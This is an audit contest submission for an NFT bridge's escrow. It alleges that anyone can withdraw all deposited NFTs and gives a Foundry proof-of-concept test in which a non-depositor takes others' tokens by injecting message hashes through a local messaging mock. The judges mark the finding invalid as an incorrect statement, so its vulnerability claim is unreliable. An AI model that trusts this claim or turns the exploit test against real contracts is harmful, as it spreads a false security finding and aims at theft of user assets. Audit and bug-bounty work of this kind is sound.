NFTBridge
60,000 USDC
View results
Submission Details
Severity: high
Invalid

Unauthorized asset withdrawal

Summary

Anyone can withdraw anything from the escrow.

Vulnerability Details

This is different from the [C01] vulnerability found from previous audit by Cairo. This vulnerability don't matter whether WITHDRAWAUTOparameter is set to true/false. This vulnerability is due to the lack of check/validation in the__ _withdrawFromEscrowfunction in Escrow.sol.

POC

The POC below demonstrate how Alice and Bob deposit their NFT into the escrow then came Tom, a user who has not deposited anything into the escrow but can withdraw all NFT from the escrow.

contract Hack is Test {
address bridge;
address erc721C1;
address erc1155C1;
address snCore;
function computeMessageHashFromL2(
uint256[] memory request
) public returns (bytes32) {
(
snaddress starklaneL2Address,
felt252 starklaneL2Selector
) = IStarklane(bridge).l2Info();
// To remove warning. Is there a better way?
assertTrue(felt252.unwrap(starklaneL2Selector) > 0);
bytes32 msgHash = keccak256(
abi.encodePacked(
snaddress.unwrap(starklaneL2Address),
uint256(uint160(bridge)),
request.length,
request
)
);
return msgHash;
}
function deposit(address user, uint256[] memory nfts) public {
vm.startPrank(user);
console.log("DEPOSIT");
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
IERC721(erc721C1).setApprovalForAll(address(bridge), true);
IStarklane(bridge).depositTokens{value: 1}(
salt,
address(erc721C1),
to,
nfts,
false
);
vm.stopPrank();
}
function testDepositSuccessWithdrawFail() public {
//init
Users genusers = new Users();
address payable[] memory users = genusers.create(5);
address payable alice = users[0];
address payable bob = users[1];
address payable tom = users[2];
erc721C1 = address(new ERC721MintFree("name 1", "S1"));
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 2);
IERC721MintRangeFree(erc721C1).mintRangeFree(bob, 3, 5);
snCore = address(new StarknetMessagingLocal());
address impl = address(new Starklane());
bytes memory dataInit = abi.encodeWithSelector(
Starklane.initialize.selector,
abi.encode(address(this), snCore, 0x1, 0x2)
);
bridge = address(new ERC1967Proxy(impl, dataInit));
IStarklane(bridge).enableBridge(true);
IStarklane(bridge).setL1L2CollectionMapping(
address(erc721C1),
Cairo.snaddressWrap(0x123),
true
);
console.log("This: ", address(this));
console.log("Bridge: ", bridge);
console.log("SNCore: ", snCore);
console.log("Impl: ", impl);
console.log("ERC721C1: ", erc721C1);
console.log("Alice: ", alice);
console.log("Bob: ", bob);
console.log("Tom: ", tom);
//deposit
uint256[] memory aDep = new uint256[](3);
aDep[0] = 0;
aDep[1] = 1;
aDep[2] = 2;
deposit(alice, aDep);
aDep[0] = 3;
aDep[1] = 4;
aDep[2] = 5;
deposit(bob, aDep);
console.log("WITHDRAW");
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
//withdraw
vm.startPrank(tom);
uint256[] memory values = new uint256[](0);
string[] memory uris = new string[](0);
uint256[] memory newOwners = new uint256[](0);
felt252 header = Protocol.requestHeaderV1(
CollectionType.ERC721,
false,
false
);
uint256[] memory wdr = new uint256[](6);
wdr[0] = 0;
wdr[1] = 1;
wdr[2] = 2;
wdr[3] = 3;
wdr[4] = 4;
wdr[5] = 5;
Request memory reqFull = Request({
header: header,
hash: 0x0,
collectionL1: erc721C1,
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: tom,
ownerL2: Cairo.snaddressWrap(0x0),
name: "Good",
symbol: "GOOD",
uri: "URIURI",
tokenIds: wdr,
tokenValues: values,
tokenURIs: uris,
newOwners: newOwners
});
uint256[] memory reqSerialized = Protocol.requestSerialize(reqFull);
uint256[] memory msgHashes = new uint256[](1);
msgHashes[0] = uint256(computeMessageHashFromL2(reqSerialized));
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(msgHashes);
IStarklane(bridge).withdrawTokens(reqSerialized);
console.log("---------------------------------------");
console.log(ERC721(erc721C1).ownerOf(0));
console.log(ERC721(erc721C1).ownerOf(1));
console.log(ERC721(erc721C1).ownerOf(2));
console.log(ERC721(erc721C1).ownerOf(3));
console.log(ERC721(erc721C1).ownerOf(4));
console.log(ERC721(erc721C1).ownerOf(5));
}
}

Impact

  • Imagine if thre are already million dollars worth of NFT deposited in the escrow, An attacker found this vulnerability, the attacker exploited it to withdraw all the asset stored in there, so that's a million dollar loss for the protocol/project and users.

  • Bank run type of crisis of asset withdrawal

  • Reputational damage, the trustworthiness of the protocol/project can be severely damaged. Users might spread the word about the vulnerability and lead to the project/protocol abandoned.

Tools Used

Manual Review

Foundry

Recommendations

Ensure the user who withdraw is the 1 who owns the asset by adding a requirestatement like this in _withdrawFromEscrowfunction in Escrow.sol:

require(_escrow[collection][id] == msg.sender, "You are not authorized to withdraw this token");
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

danzero Submitter
10 months ago
n0kto Lead Judge
9 months ago
n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.